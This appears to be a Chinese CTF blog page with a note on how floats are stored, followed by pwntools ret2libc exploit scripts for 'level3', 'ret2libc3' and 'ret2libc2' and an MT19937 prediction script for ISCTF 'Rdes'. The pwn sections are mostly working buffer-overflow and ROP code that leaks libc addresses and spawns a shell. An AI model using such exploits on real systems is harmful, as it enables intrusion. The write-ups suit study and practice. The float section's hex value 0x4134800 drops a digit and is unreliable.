文章27
标签0
分类4

浮点数在计算机中的存储方式

 接下来就是要明白浮点数如何在内存中表示了。
 在这里插入图片描述

  所以11.28125用二进制表示的话,就是1011.01001,但是计算机可不会知道哪里有小数点,计算机只会识别01,至于这些01表示什么,那是由人定义的。就像这里,人们把这个定义为浮点数,当呈现在我们面前的时候,就是按照浮点数给我解释的。

  一个浮点数占有四个字节,一个字节由两个四位二进制数表示,那么大概就是这么个意思。

  xxxxxxxx xxxxxxxxx xxxxxxxx xxxxxxxx

  每个x都是占一个位,而对于浮点是计算机是怎么进行解释的呢?
  在这里插入图片描述

   如你所见,32位每一位都有意义。

  符号位(Sign) : 0代表正,1代表为负

  指数位(Exponent):用于存储科学计数法中的指数数据,并且采用移位存储。

  尾数部分(Mantissa):尾数部分

  还是拉回来,看1011.01001 = 1011.010012的0次方 == 1.011010012的3次方

  因为是正数,所以符号位为0

  指数为127+1==128,127是一个偏移,这个偏移是由于说这个指数可能是负数,用这个指数位的时候需要先减去127再用,所以这里是127。(你或许没有听懂...大概意思有个组织这么规定了指数的正负)3就就是上面2的次方。

  再看尾数部分,尾数部分是01101001,接下来我们试着来写一下这个二进制数

  0 1000 0010 0110 1001 0000 0000 0000 000

  所以连起来就是01000001001101001000000000000000

  转换成16进制就是0x4134800,所以我们把V2的位置覆盖成这个数字就行了。

攻防世界pwn level3

这一题与ret2libc3没什么不同,只是泄露got的方式由puts变成了write,所以在泄漏时加上p32(1)和p32(10)

exp:

from pwn import*

p = remote("111.200.241.244",49574)
#p = process("./level3")
elf = ELF("./level3")
libc = ELF("./level3libc.so.6")
context(log_level="debug")

if __name__ == "__main__":
    if args.G:
         gdb.attach(p)
    
    write_plt = elf.plt["write"]
    write_got = elf.got["write"]
    main_addr = 0x08048484

    p.sendlineafter("Input:\n",b'A'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10))
    write_addr= u32(p.recv(4))
    base_addr = write_addr - libc.symbols["write"]
    system_addr  = base_addr + libc.symbols["system"]
    bin_sh_addr = base_addr + 0x15902b

    payload = b'A'*140 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
    p.sendlineafter("Input:\n",payload)

    
    p.interactive()

在这里插入图片描述

ret2libc3

ret2libc3
在ret2libc2的基础上再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址和/bin/sh。
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。
我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
exp:

from pwn import*

p = process("./ret2libc3")
#context(log_level="debug")

elf = ELF("./ret2libc3")
libc = ELF("./libc2.32.so")

if __name__ == "__main__":
    if args.G:
        gdb.attach(p)

    puts_plt = elf.plt["puts"]      #获得system函数的地址
    puts_got = elf.got["puts"]
    main_addr = 0x08048618
    
    p.sendlineafter("Can you find it !?",b"A"*112+p32(puts_plt)+p32(main_addr)+p32(puts_got))

    puts_addr = u32(p.recv(4))
    base_addr = puts_addr - libc.symbols["puts"]
    sys_addr = base_addr + libc.symbols["system"]#system地址

    rop_addr = 0x0804841d       #写入/bin/sh
    gets_addr = elf.plt["gets"]

    payload = b"a"*104+p32(gets_addr)+p32(rop_addr)+p32(elf.bss()+0x100)+p32(sys_addr)+p32(0)+p32(elf.bss()+0x100)
    p.sendlineafter("!?",payload)
    p.sendline(b"/bin/sh\x00")


    p.interactive()

ret2libc2

ret2libc2

在这里插入图片描述

在这里插入图片描述
没有/bin/sh这时候需要自己写入。
那么可以利用gets写入到bss段
再利用ROP。
exp:

from pwn import *

p = process("./ret2libc2")
elf = ELF("./ret2libc2")
context(os="linux",arch="i386",bits=32)

if __name__ == "__main__":

    sys_addr = elf.plt["system"]
    gets_addr = elf.plt["gets"]
    pop_addr = 0x0804843d

    payload= b"A"*112+p32(gets_addr)+p32(pop_addr)+p32(elf.bss()+0x100)+p32(sys_addr)+p32(0)+p32(elf.bss()+0x100)
    
    p.sendline(payload)
    p.sendline(b"/bin/sh\x00")

    p.interactive()

ISCTF-Rdes

Rdes

随机数预测,mt19937,ISCC时候striving出过,比这个复杂,是个64的随机数,直接用他博客的脚本,直接一把嗦。striving yyds!

http://www.zbc53.top/archives/72/

基于逆向extract_number函数,只要有前624个数,由此求到对应的state,就可以实现预测。
所以只要能够还原state,就可以实现预测。

from random import Random
 
o = 9999999999999999999999999999999999999999999999999999999999999
# right shift inverse
def inverse_right(res, shift):
    tmp = res
    bits=len(bin(res)[2:])
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp
  
# right shift with mask inverse
def inverse_right_mask(res, shift, mask):
    tmp = res
    bits=len(bin(res)[2:])
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp
 
# left shift inverse
def inverse_left(res, shift):
    tmp = res
    bits=len(bin(res)[2:])
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp
 
# left shift with mask inverse
def inverse_left_mask(res, shift, mask):
    tmp = res
    bits=len(bin(res)[2:])
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp
 
def recover(y):
    y = inverse_right(y,18)
    y = inverse_left_mask(y,15,4022730752)
    y = inverse_left_mask(y,7,2636928640)
    y = inverse_right(y,11)
    return y
 
def clone_mt(record):
    state = [recover(i) for i in record]
    gen = Random()
    gen.setstate((3,tuple(state+[0]),None))
    return gen
 
f = open(r"预测.txt",'r').readlines()
prng = []
for i in f:
    prng.append(int(i.strip("\n")))
 
g = clone_mt(prng[:624])
for i in range(700):
    g.getrandbits(32)
 
key = g.getrandbits(32)
print(key)

得到秘钥key:
image-20211023120505689

看了下剩下的加密部分就是简单的aes找个在线网站解一下:

image-20211023120609876

get flag :ISCTF{AE5_AnD_ranD0m}

">